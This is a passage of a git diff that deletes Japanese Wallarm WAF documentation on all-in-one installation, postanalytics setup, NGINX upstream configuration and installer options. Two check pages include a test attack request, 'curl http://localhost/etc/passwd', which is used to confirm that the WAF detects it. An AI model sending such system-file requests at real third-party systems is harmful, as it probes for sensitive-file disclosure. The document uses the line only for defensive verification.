a/include-ja/waf/installation/all-in-one-postanalytics-4.8.md b/include-ja/waf/installation/all-in-one-postanalytics-4.8.md deleted file mode 100644 index 74a33a920b..0000000000 --- a/include-ja/waf/installation/all-in-one-postanalytics-4.8.md +++ /dev/null @@ -1,21 +0,0 @@ -postanalyticsをオールインワンインストーラーで個別にインストールするには、次を使用します： - -=== "APIトークン" - ```bash - # x86_64バージョンを使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.x86_64-glibc.sh postanalytics - - # ARM64バージョンを使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.aarch64-glibc.sh postanalytics - ``` - - `WALLARM_LABELS`変数は、ノードが追加されるグループを設定します（Wallarm Console UIでノードを論理的にグループ化するために使用します）。 - -=== "ノードトークン" - ```bash - # x86_64バージョンを使用する場合: - sudo sh wallarm-4.8.10.x86_64-glibc.sh postanalytics - - # ARM64バージョンを使用する場合: - sudo sh wallarm-4.8.10.aarch64-glibc.sh postanalytics - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-postanalytics-5.0.md b/include-ja/waf/installation/all-in-one-postanalytics-5.0.md deleted file mode 100644 index cb93501d1e..0000000000 --- a/include-ja/waf/installation/all-in-one-postanalytics-5.0.md +++ /dev/null @@ -1,21 +0,0 @@ -postanalyticsをall-in-oneインストーラーで個別にインストールするには、次を使用してください: - -=== "APIトークン" - ```bash - # x86_64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-5.3.19.x86_64-glibc.sh postanalytics - - # ARM64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-5.3.19.aarch64-glibc.sh postanalytics - ``` - - `WALLARM_LABELS`変数は、ノードが追加されるグループを設定します（Wallarm Console UIでノードを論理的にグループ化するために使用されます）。 - -=== "ノードトークン" - ```bash - # x86_64版を使用する場合: - sudo sh wallarm-5.3.19.x86_64-glibc.sh postanalytics - - # ARM64版を使用する場合: - sudo sh wallarm-5.3.19.aarch64-glibc.sh postanalytics - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-postanalytics-check-latest.md b/include-ja/waf/installation/all-in-one-postanalytics-check-latest.md deleted file mode 100644 index 1179b0c117..0000000000 --- a/include-ja/waf/installation/all-in-one-postanalytics-check-latest.md +++ /dev/null @@ -1,33 +0,0 @@ -NGINX‑Wallarmと別個のpostanalyticsモジュールの連携を確認するには、保護対象アプリケーションのアドレスにテスト攻撃を含むリクエストを送信できます: - -```bash -curl http://localhost/etc/passwd -``` - -NGINX‑Wallarmと別個のpostanalyticsモジュールが正しく構成されている場合、攻撃はWallarm Cloudにアップロードされ、Wallarm Consoleの**Attacks**セクションに表示されます: - -![インターフェイスのAttacks][img-attacks-in-interface] - -攻撃がWallarm Cloudにアップロードされなかった場合は、各サービスの動作にエラーがないか確認してください: - -* postanalyticsモジュールのログを確認します - - ```bash - sudo cat /opt/wallarm/var/log/wallarm/wstore-out.log - ``` - - `SystemError binary: failed to bind: Cannot assign requested address`のような記録がある場合は、サーバーが指定のアドレスとポートで接続を受け付けることを確認してください。 -* NGINX‑Wallarmモジュールを搭載したサーバーで、NGINXのログを確認します。 - - ```bash - sudo cat /var/log/nginx/error.log - ``` - - `[error] wallarm:
              connect() failed`のような記録がある場合は、NGINX‑Wallarmモジュールの設定ファイルで別個のpostanalyticsモジュールのアドレスが正しく指定されていること、また別個のpostanalyticsサーバーが指定のアドレスとポートで接続を受け付けていることを確認してください。 -* NGINX‑Wallarmモジュールを搭載したサーバーで、以下のコマンドを使用して処理済みリクエストの統計を取得し、`tnt_errors`の値が0であることを確認します - - ```bash - curl http://127.0.0.8/wallarm-status - ``` - - [統計サービスが返すすべてのパラメータの説明→][statistics-service-all-parameters] \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-postanalytics-check.md b/include-ja/waf/installation/all-in-one-postanalytics-check.md deleted file mode 100644 index 54aa190855..0000000000 --- a/include-ja/waf/installation/all-in-one-postanalytics-check.md +++ /dev/null @@ -1,33 +0,0 @@ -NGINX‑Wallarmモジュールと個別のpostanalyticsモジュールの連携を確認するには、保護対象アプリケーションのアドレスにテスト攻撃を含むリクエストを送信します: - -```bash -curl http://localhost/etc/passwd -``` - -NGINX‑Wallarmモジュールと個別のpostanalyticsモジュールが正しく構成されている場合、攻撃はWallarm Cloudにアップロードされ、Wallarm Consoleの**Attacks**セクションに表示されます: - -![インターフェースのAttacks][img-attacks-in-interface] - -攻撃がWallarm Cloudにアップロードされなかった場合は、サービスの動作にエラーがないか確認します: - -* postanalyticsモジュールのログを確認します - - ```bash - sudo cat /opt/wallarm/var/log/wallarm/tarantool-out.log - ``` - - そのログに`SystemError binary: failed to bind: Cannot assign requested address`のような記録がある場合は、サーバーが指定されたアドレスとポートで接続を受け付けていることを確認します。 -* NGINX‑Wallarmモジュールがインストールされているサーバーで、NGINXのログを確認します: - - ```bash - sudo cat /var/log/nginx/error.log - ``` - - そのログに`[error] wallarm:
              connect() failed`のような記録がある場合は、NGINX‑Wallarmモジュールの設定ファイルで個別のpostanalyticsモジュールのアドレスが正しく指定されていること、また個別のpostanalyticsサーバーが指定されたアドレスとポートで接続を受け付けていることを確認します。 -* NGINX‑Wallarmモジュールがインストールされているサーバーで、以下のコマンドを使用して処理済みリクエストの統計を取得し、`tnt_errors`の値が0であることを確認します - - ```bash - curl http://127.0.0.8/wallarm-status - ``` - - [統計サービスが返すすべてのパラメーターの説明→][statistics-service-all-parameters] \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-postanalytics-reconnect-5.0.md b/include-ja/waf/installation/all-in-one-postanalytics-reconnect-5.0.md deleted file mode 100644 index f5926b0661..0000000000 --- a/include-ja/waf/installation/all-in-one-postanalytics-reconnect-5.0.md +++ /dev/null @@ -1,41 +0,0 @@ -NGINX-Wallarmモジュールを搭載したマシン上で、NGINXの[設定ファイル](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/)にpostanalyticsモジュールのサーバーアドレスを指定します: - -``` -upstream wallarm_tarantool { - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - - keepalive 2; - } - - # 省略 - -wallarm_tarantool_upstream wallarm_tarantool; -``` - -- 過剰な接続の確立を防ぐため、upstreamの各Tarantoolサーバーに対して`max_conns`の値を指定する必要があります。 -- `keepalive`の値はTarantoolサーバーの台数より小さくしてはいけません。 -- `# wallarm_tarantool_upstream wallarm_tarantool;`の行はデフォルトでコメントアウトされています。`#`を削除してください。 - -設定ファイルを変更したら、NGINX-Wallarmモジュールを搭載したサーバー上のNGINX/NGINX Plusを再起動します: - -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "Ubuntu" - ```bash - sudo service nginx restart - ``` -=== "CentOS" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-postanalytics-reconnect.md b/include-ja/waf/installation/all-in-one-postanalytics-reconnect.md deleted file mode 100644 index aef400c25c..0000000000 --- a/include-ja/waf/installation/all-in-one-postanalytics-reconnect.md +++ /dev/null @@ -1,44 +0,0 @@ -NGINX-Wallarmモジュールを搭載したマシンのNGINX[設定ファイル](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/)（通常は`/etc/nginx/nginx.conf`にあります）で、postanalyticsモジュールのサーバーアドレスを指定します: - -``` -http { - # 省略 - upstream wallarm_wstore { - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - - keepalive 2; - } - - wallarm_wstore_upstream wallarm_wstore; - - # 省略 -} -``` - -* 過剰な接続の作成を防ぐため、各upstreamのwstoreサーバーに対して`max_conns`の値を指定する必要があります。 -* `keepalive`の値はwstoreサーバーの数より小さくしてはいけません。 -* `# wallarm_wstore_upstream wallarm_wstore;`の行は既定ではコメントアウトされています。`#`を削除してください。 - -設定ファイルを変更したら、NGINX-WallarmモジュールのサーバーでNGINX/NGINX Plusを再起動します: - -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "Ubuntu" - ```bash - sudo service nginx restart - ``` -=== "CentOS" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-postanalytics-remove-old.md b/include-ja/waf/installation/all-in-one-postanalytics-remove-old.md deleted file mode 100644 index 15931c4b71..0000000000 --- a/include-ja/waf/installation/all-in-one-postanalytics-remove-old.md +++ /dev/null @@ -1,27 +0,0 @@ -1. Wallarm Console → **Nodes**で該当のpostanalyticsモジュールノードを選択し、**Delete**をクリックして旧postanalyticsモジュールを削除してください。 -1. 操作を確認してください。 - - Cloudからpostanalyticsモジュールノードを削除すると、ご利用のアプリケーションに対するリクエストのフィルタリング処理には関与しなくなります。削除は元に戻せません。postanalyticsモジュールノードはノードの一覧から永久に削除されます。 - -1. 旧postanalyticsモジュールを搭載したマシンを削除するか、Wallarmのpostanalyticsモジュールのコンポーネントのみを削除してください: - - === "Debian" - ```bash - sudo apt remove wallarm-node-tarantool - ``` - === "Ubuntu" - ```bash - sudo apt remove wallarm-node-tarantool - ``` - === "CentOSまたはAmazon Linux 2.0.2021x以下" - ```bash - sudo yum remove wallarm-node-tarantool - ``` - === "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x" - ```bash - sudo yum remove wallarm-node-tarantool - ``` - === "RHEL 8.x" - ```bash - sudo yum remove wallarm-node-tarantool - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-postanalytics.md b/include-ja/waf/installation/all-in-one-postanalytics.md deleted file mode 100644 index c9f084dd99..0000000000 --- a/include-ja/waf/installation/all-in-one-postanalytics.md +++ /dev/null @@ -1,21 +0,0 @@ -postanalyticsをオールインワンインストーラーで別途インストールするには、次のコマンドを実行します： - -=== "APIトークン" - ```bash - # x86_64版を使用する場合： - sudo env WALLARM_LABELS='group=' sh wallarm-6.4.1.x86_64-glibc.sh postanalytics - - # ARM64版を使用する場合： - sudo env WALLARM_LABELS='group=' sh wallarm-6.4.1.aarch64-glibc.sh postanalytics - ``` - - `WALLARM_LABELS`変数は、ノードが追加されるグループを設定します（Wallarm Console UIでノードを論理的にグループ化するために使用します）。 - -=== "ノードトークン" - ```bash - # x86_64版を使用する場合： - sudo sh wallarm-6.4.1.x86_64-glibc.sh postanalytics - - # ARM64版を使用する場合： - sudo sh wallarm-6.4.1.aarch64-glibc.sh postanalytics - ``` \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-requirements-latest.md b/include-ja/waf/installation/all-in-one-requirements-latest.md deleted file mode 100644 index 9c2ed7f174..0000000000 --- a/include-ja/waf/installation/all-in-one-requirements-latest.md +++ /dev/null @@ -1,21 +0,0 @@ -* Wallarm Consoleの[US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)に対して**Administrator**ロールを持つアカウントへのアクセス権が必要です。 -* サポート対象OS： - - * Debian 10、11および12.x - * Ubuntu LTS 18.04、20.04、22.04 - * CentOS 7、8 Stream、9 Stream - * Alma/Rocky Linux 9 - * Oracle Linux 9.x - * RHEL 8.x - * RHEL 9.x - * Oracle Linux 8.x - * Redox - * SuSe Linux - * その他（対象は継続的に拡大しています。お使いのOSが対象かどうかは[Wallarmサポートチーム](mailto:support@wallarm.com)にご確認ください） - -* オールインワンのWallarmインストーラーをダウンロードするための`https://meganode.wallarm.com`へのアクセスが必要です。アクセスがファイアウォールでブロックされていないことを確認してください。 -* US Wallarm Cloudで作業するための`https://us1.api.wallarm.com`へのアクセス、またはEU Wallarm Cloudで作業するための`https://api.wallarm.com`へのアクセスが必要です。アクセスをプロキシサーバー経由でのみ設定できる場合は、[手順][configure-proxy-balancer-instr]に従ってください。 -* 攻撃検出ルールおよび[API仕様][api-spec-enforcement-docs]の更新をダウンロードし、また、[許可リスト、拒否リスト、またはグレーリスト][ip-lists-docs]に設定した国、地域、またはデータセンターの正確なIPを取得するために、以下のIPアドレスへのアクセスが必要です。 - - --8<-- "../include/wallarm-cloud-ips.md" -* すべてのコマンドはスーパーユーザー（例：`root`）として実行します。 \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-requirements.md b/include-ja/waf/installation/all-in-one-requirements.md deleted file mode 100644 index f07631316c..0000000000 --- a/include-ja/waf/installation/all-in-one-requirements.md +++ /dev/null @@ -1,19 +0,0 @@ -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)向けのWallarm Consoleで**Administrator**ロールを持つアカウントにアクセスできる必要があります。 -* サポート対象OSは次のとおりです。 - - * Debian 10、11および12.x - * Ubuntu LTS 18.04、20.04、22.04 - * CentOS 7、8 Stream、9 Stream - * Alma/Rocky Linux 9 - * RHEL 8.x - * Oracle Linux 8.x - * Oracle Linux 9.x - * Redox - * SuSe Linux - * その他（対応OSは継続的に拡大しています。ご利用のOSが含まれるかは[Wallarmサポートチーム](mailto:support@wallarm.com)へお問い合わせください） -* all-in-one Wallarmインストーラーをダウンロードするために`https://meganode.wallarm.com`へアクセスできる必要があります。アクセスがファイアウォールでブロックされていないことを確認してください。 -* US Wallarm Cloudを利用するための`https://us1.api.wallarm.com`、またはEU Wallarm Cloudを利用するための`https://api.wallarm.com`へのアクセスが必要です。アクセスをプロキシサーバー経由でのみ構成できる場合は、[手順][configure-proxy-balancer-instr]を参照してください。 -* 攻撃検知ルールの更新をダウンロードし、[allowlisted、denylisted、graylisted][ip-lists-docs]の国、地域、またはデータセンターの正確なIPアドレスを取得するために、以下のIPアドレスへアクセスできる必要があります。 - - --8<-- "../include/wallarm-cloud-ips.md" -* すべてのコマンドはスーパーユーザー（例: `root`）として実行する必要があります。 \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-token.md b/include-ja/waf/installation/all-in-one-token.md deleted file mode 100644 index 028e10fe61..0000000000 --- a/include-ja/waf/installation/all-in-one-token.md +++ /dev/null @@ -1,14 +0,0 @@ -ノードをインストールするには、[適切なタイプ][wallarm-token-types]のWallarmトークンが必要です。トークンを準備するには: - -=== "APIトークン" - - 1. [US Cloud](https://us1.my.wallarm.com/settings/api-tokens)または[EU Cloud](https://my.wallarm.com/settings/api-tokens)でWallarm Console → **Settings** → **API tokens**を開きます。 - 1. 使用タイプが`Node deployment/Deployment`のAPIトークンを見つけるか作成します。 - 1. このトークンをコピーします。 - -=== "ノードトークン" - - 1. [US Cloud](https://us1.my.wallarm.com/nodes)または[EU Cloud](https://my.wallarm.com/nodes)でWallarm Console → **Nodes**を開きます。 - 1. 次のいずれかを実行します: - * **Wallarm node**タイプのノードを作成し、生成されたトークンをコピーします。 - * 既存のノードグループを使用します - ノードのメニュー → **Copy token**からトークンをコピーします。 \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one-upgrade-requirements.md b/include-ja/waf/installation/all-in-one-upgrade-requirements.md deleted file mode 100644 index 8ebc16212c..0000000000 --- a/include-ja/waf/installation/all-in-one-upgrade-requirements.md +++ /dev/null @@ -1,7 +0,0 @@ -* Wallarm Consoleの[US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)で**Administrator**ロールを持つアカウントへのアクセスが必要です。 -* オールインワンのWallarmインストーラをダウンロードするために`https://meganode.wallarm.com`にアクセスできる必要があります。アクセスがファイアウォールでブロックされていないことを確認してください。 -* US Wallarm Cloudで作業するための`https://us1.api.wallarm.com`またはEU Wallarm Cloudで作業するための`https://api.wallarm.com`へのアクセスが必要です。アクセスの設定がプロキシサーバー経由でのみ可能な場合は、[手順][configure-proxy-balancer-instr]に従ってください。 -* すべてのコマンドをスーパーユーザー（例: `root`）として実行する必要があります。 -* 攻撃検知ルールおよびAPI仕様の更新をダウンロードし、allowlisted、denylisted、graylistedの国、地域、またはデータセンターの正確なIPを取得するために、以下のIPアドレスへのアクセスが必要です。 - - --8<-- "../include/wallarm-cloud-ips.md" \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one/launch-options-4.10.md b/include-ja/waf/installation/all-in-one/launch-options-4.10.md deleted file mode 100644 index 61be8c3e26..0000000000 --- a/include-ja/waf/installation/all-in-one/launch-options-4.10.md +++ /dev/null @@ -1,90 +0,0 @@ -all-in-oneスクリプトをダウンロードしたら、次のコマンドでヘルプを表示できます: - -``` -sudo sh ./wallarm-4.10.13.x86_64-glibc.sh -- -h -``` - -次の内容が表示されます: - -``` -... -Usage: setup.sh [options]... [arguments]... [filtering/postanalytics] - -OPTION DESCRIPTION --b, --batch Batch mode, non-interactive installation. - --install-only Initiates the first stage of the all-in-one installer in batch mode. Copies essential configurations, including files and binaries, and sets up NGINX for node installation, bypassing Cloud registration and activation. Requires --batch. - --skip-ngx-config Avoids automatic NGINX configuration changes that occur during the --install-only stage in batch mode, suitable for users who prefer manual adjustments later. When used with --install-only, it ensures only essential configurations are copied without altering NGINX settings. Requires --batch. - --register-only Initiates the second stage of the all-in-one installer in batch mode, completing the setup by registering the node in the Cloud and starting its service. Requires --batch. --t, --token TOKEN Node token, required in a batch mode. --c, --cloud CLOUD Wallarm Cloud, one of US/EU, default is EU, only used in a batch mode. --H, --host HOST Wallarm API address, for example, api.wallarm.com or us1.api.wallarm.com, only used in a batch mode. --P, --port PORT Wallarm API pot, for example, 443. - --no-ssl Disable SSL for Wallarm API access. - --no-verify Disable SSL certificates verification. --f, --force If there is a node with the same name, create a new instance. --h, --help - --version -``` - -### バッチモード - -`--batch`オプションはバッチ（非対話型）モードを有効にします。このモードでは、必要に応じて`WALLARM_LABELS`環境変数に加え、`--token`と`--cloud`フラグで設定オプションを指定する必要があります。デフォルトモードのように段階的に入力を促すことはなく、代わりに明示的なコマンド指定が必要です。 - -以下は、スクリプトをすでに[ダウンロード済み][download-aio-step]であることを前提に、ノードをインストールするためにバッチモードでスクリプトを実行するコマンド例です。 - -=== "USクラウド" - ```bash - # x86_64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.13.x86_64-glibc.sh -- --batch -t -c US - - # ARM64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.13.aarch64-glibc.sh -- --batch -t -c US - ``` -=== "EUクラウド" - ```bash - # x86_64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.13.x86_64-glibc.sh -- --batch -t - - # ARM64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.13.aarch64-glibc.sh -- --batch -t - ``` - -### ノードインストール段階の個別実行 - -クラウドインフラ向けのall-in-oneインストーラーを用いて独自のマシンイメージを作成する場合、本記事で説明している標準のインストール手順だけでは不十分なことがあります。その場合、マシンイメージの作成とデプロイの要件に合わせて、all-in-oneインストーラーの特定の段階を個別に実行する必要があります: - -1. マシンイメージのビルド: この段階では、フィルタリングノードのバイナリ、ライブラリ、設定ファイルをダウンロードし、それらに基づいてマシンイメージを作成する必要があります。`--install-only`フラグを使用すると、スクリプトは必要なファイルをコピーし、ノードの動作に合わせてNGINXの設定を変更します。手動で調整したい場合は、`--skip-ngx-config`フラグを使用してNGINX設定ファイルの変更をスキップできます。 -1. cloud-initでクラウドインスタンスを初期化: インスタンスの初期化中に、cloud-initスクリプトを使用してブートストラップ段階（Cloudへの登録とサービスの開始）を実行できます。ビルド段階でコピーされた`/opt/wallarm/setup.sh`スクリプトに`--register-only`フラグを指定することで、この段階をビルド段階とは独立して実行できます。 - -この機能は、バッチモードのall-in-oneインストーラーのバージョン4.10.0以降でサポートされています。以下のコマンドで、上記の各段階を順に実行できます: - -=== "USクラウド" - ```bash - # x86_64版を使用する場合: - curl -O https://meganode.wallarm.com/4.10/wallarm-4.10.13.x86_64-glibc.sh - sudo sh wallarm-4.10.13.x86_64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t -c US - - # ARM64版を使用する場合: - curl -O https://meganode.wallarm.com/4.10/wallarm-4.10.13.aarch64-glibc.sh - sudo sh wallarm-4.10.13.aarch64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t -c US - ``` -=== "EUクラウド" - ``` - # x86_64版を使用する場合: - curl -O https://meganode.wallarm.com/4.10/wallarm-4.10.13.x86_64-glibc.sh - sudo sh wallarm-4.10.13.x86_64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t - - # ARM64版を使用する場合: - curl -O https://meganode.wallarm.com/4.10/wallarm-4.10.13.aarch64-glibc.sh - sudo sh wallarm-4.10.13.aarch64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t - ``` - -最後に、インストールを完了するには、[Wallarmによるトラフィック解析を有効化][enable-traffic-analysis-step]し、[NGINXを再起動][restart-nginx-step]する必要があります。 - -### フィルタリングノードとpostanalyticsノードの個別インストール - -filtering/postanalyticsスイッチを使用すると、postanalyticsモジュールを[別々にインストール][separate-postanalytics-installation-aio]できます。このスイッチを使用しない場合は、フィルタリングとpostanalyticsの両コンポーネントがデフォルトで併せてインストールされます。 \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one/launch-options-4.8.md b/include-ja/waf/installation/all-in-one/launch-options-4.8.md deleted file mode 100644 index c408e5dbf6..0000000000 --- a/include-ja/waf/installation/all-in-one/launch-options-4.8.md +++ /dev/null @@ -1,90 +0,0 @@ -オールインワンスクリプトをダウンロードしたら、次のコマンドでヘルプを確認できます: - -``` -sudo sh ./wallarm-4.8.10.x86_64-glibc.sh -- -h -``` - -次のように表示されます: - -``` -... -Usage: setup.sh [options]... [arguments]... [filtering/postanalytics] - -OPTION DESCRIPTION --b, --batch Batch mode, non-interactive installation. - --install-only Initiates the first stage of the all-in-one installer in batch mode. Copies essential configurations, including files and binaries, and sets up NGINX for node installation, bypassing Cloud registration and activation. Requires --batch. - --skip-ngx-config Avoids automatic NGINX configuration changes that occur during the --install-only stage in batch mode, suitable for users who prefer manual adjustments later. When used with --install-only, it ensures only essential configurations are copied without altering NGINX settings. Requires --batch. - --register-only Initiates the second stage of the all-in-one installer in batch mode, completing the setup by registering the node in the Cloud and starting its service. Requires --batch. --t, --token TOKEN Node token, required in a batch mode. --c, --cloud CLOUD Wallarm Cloud, one of US/EU, default is EU, only used in a batch mode. --H, --host HOST Wallarm API address, for example, api.wallarm.com or us1.api.wallarm.com, only used in a batch mode. --P, --port PORT Wallarm API pot, for example, 443. - --no-ssl Disable SSL for Wallarm API access. - --no-verify Disable SSL certificates verification. --f, --force If there is a node with the same name, create a new instance. --h, --help - --version -``` - -### バッチモード - -`--batch`オプションは非対話のバッチモードを有効にします。このモードでは、必要に応じて環境変数`WALLARM_LABELS`とともに`--token`および`--cloud`フラグで設定値を指定する必要があります。デフォルトモードのように段階的に入力を求めるプロンプトは表示されず、明示的なコマンド指定が必要です。 - -以下は、スクリプトをバッチモードで実行してノードをインストールするコマンド例です。スクリプトがすでに[ダウンロード済み][download-aio-step]であることを前提とします。 - -=== "USクラウド" - ```bash - # x86_64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.x86_64-glibc.sh -- --batch -t -c US - - # ARM64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.aarch64-glibc.sh -- --batch -t -c US - ``` -=== "EUクラウド" - ```bash - # x86_64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.x86_64-glibc.sh -- --batch -t - - # ARM64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.10.aarch64-glibc.sh -- --batch -t - ``` - -### ノードインストール各段階の個別実行 - -クラウドインフラストラクチャ向けにオールインワンインストーラーを用いて独自のマシンイメージを準備する場合、本記事で説明する標準のインストール手順だけでは十分でないことがあります。この場合、マシンイメージの作成とデプロイの要件に合わせて、オールインワンインストーラーの特定の段階を個別に実行する必要があります: - -1. マシンイメージの構築: この段階では、フィルタリングノードのバイナリ、ライブラリ、設定ファイルをダウンロードし、それらに基づいてマシンイメージを作成します。`--install-only`フラグを使用すると、スクリプトは必要なファイルをコピーし、ノードの動作に向けてNGINXの設定を行います。手動で調整したい場合は、`--skip-ngx-config`フラグを使用してNGINXファイルの変更をスキップできます。 -1. cloud-initによるCloudインスタンスの初期化: インスタンス初期化時に、ブートストラップフェーズ（Cloudへの登録とサービス開始）をcloud-initスクリプトで実行できます。この段階は、ビルド段階でコピーされた`/opt/wallarm/setup.sh`スクリプトに`--register-only`フラグを付けることで、ビルド段階とは独立して実行できます。 - -この機能は、バッチモードのオールインワンインストーラーのバージョン4.8.8以降でサポートしています。以下のコマンドで、上記の各ステップを順に実行できます: - -=== "USクラウド" - ```bash - # x86_64版を使用する場合: - curl -O https://meganode.wallarm.com/4.8/wallarm-4.8.10.x86_64-glibc.sh - sudo sh wallarm-4.8.10.x86_64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t -c US - - # ARM64版を使用する場合: - curl -O https://meganode.wallarm.com/4.8/wallarm-4.8.10.aarch64-glibc.sh - sudo sh wallarm-4.8.10.aarch64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t -c US - ``` -=== "EUクラウド" - ``` - # x86_64版を使用する場合: - curl -O https://meganode.wallarm.com/4.8/wallarm-4.8.10.x86_64-glibc.sh - sudo sh wallarm-4.8.10.x86_64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t - - # ARM64版を使用する場合: - curl -O https://meganode.wallarm.com/4.8/wallarm-4.8.10.aarch64-glibc.sh - sudo sh wallarm-4.8.10.aarch64-glibc.sh -- --batch --install-only - sudo env WALLARM_LABELS='group=' /opt/wallarm/setup.sh --batch --register-only -t - ``` - -最後に、インストールを完了するには、[Wallarmによるトラフィック解析を有効化する][enable-traffic-analysis-step]および[NGINXを再起動する][restart-nginx-step]必要があります。 - -### フィルタリングノードとpostanalyticsノードの個別インストール - -filtering/postanalyticsスイッチを使用すると、postanalyticsモジュールを[個別にインストール][separate-postanalytics-installation-aio]できます。このスイッチを指定しない場合は、デフォルトでフィルタリングとpostanalyticsの両コンポーネントが一緒にインストールされます。 \ No newline at end of file diff --git a/include-ja/waf/installation/all-in-one/launch-options-5.0.md b/include-ja/waf/installation/all-in-one/launch-options-5.0.md deleted file mode 100644 index a86fab9fa2..0000000000 --- a/include-ja/waf/installation/all-in-one/launch-options-5.0.md +++ /dev/null @@ -1,121 +0,0 @@ -オールインワンインストーラーをダウンロードしたら、次のコマンドでヘルプを表示できます: - -``` -sudo sh ./wallarm-5.3.19.x86_64-glibc.sh -- -h -``` - -次のように表示されます: - -``` -... -Usage: setup.sh [options]... [arguments]... [filtering/postanalytics] - -OPTION DESCRIPTION --b, --batch Batch mode, non-interactive installation. - --install-only Initiates the first stage of the all-in-one installer in batch mode. Copies essential configurations, including files and binaries, and sets up NGINX for node installation, bypassing Cloud registration and activation. Requires --batch. - --skip-ngx-config Avoids automatic NGINX configuration changes that occur during the --install-only stage in batch mode, suitable for users who prefer manual adjustments later. When used with --install-only, it ensures only essential configurations are copied without altering NGINX settings. Requires --batch. - --register-only Initiates the second stage of the all-in-one installer in batch mode, completing the setup by registering the node in the Cloud and starting its service. Requires --batch. --t, --token TOKEN Node token, required in a batch mode. --c, --cloud CLOUD Wallarm Cloud, one of US/EU, default is EU, only used in a batch mode. --H, --host HOST Wallarm API address, for example, api.wallarm.com or us1.api.wallarm.com, only used in a batch mode. --P, --port PORT Wallarm API pot, for example, 443. - --no-ssl Disable SSL for Wallarm API access. - --no-verify Disable SSL certificates verification. --f, --force If there is a node with the same name, create a new instance. --h, --help - --version -``` - -### バッチモード - -`--batch`オプションは非対話のバッチモードを起動します。このモードでは、必要に応じて`WALLARM_LABELS`環境変数に加え、`--token`と`--cloud`フラグを通じて設定オプションを指定する必要があります。デフォルトモードのように段階的に入力を促すことはせず、明示的なコマンド指定で操作します。 - -以下は、すでにスクリプトを[ダウンロード済み][download-aio-step]であることを前提に、ノードをバッチモードでインストールするコマンド例です。 - -=== "US Cloud" - ```bash - # x86_64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-5.3.19.x86_64-glibc.sh -- --batch -t -c US - - # ARM64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-5.3.19.aarch64-glibc.sh -- --batch -t -c US - ``` -=== "EU Cloud" - ```bash - # x86_64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-5.3.19.x86_64-glibc.sh -- --batch -t - - # ARM64版を使用する場合: - sudo env WALLARM_LABELS='group=' sh wallarm-5.3.19.aarch64-glibc.sh -- --batch -t - ``` - -### ノードインストール各段階の個別実行 - -クラウドインフラ向けのオールインワンインストーラーを用いて独自のマシンイメージを準備する場合、本記事に記載の標準的なインストール手順だけでは不十分なことがあります。その場合は、マシンイメージの作成と展開の要件に合わせて、オールインワンインストーラーの特定の段階を個別に実行する必要があります: - -1. マシンイメージをビルド: 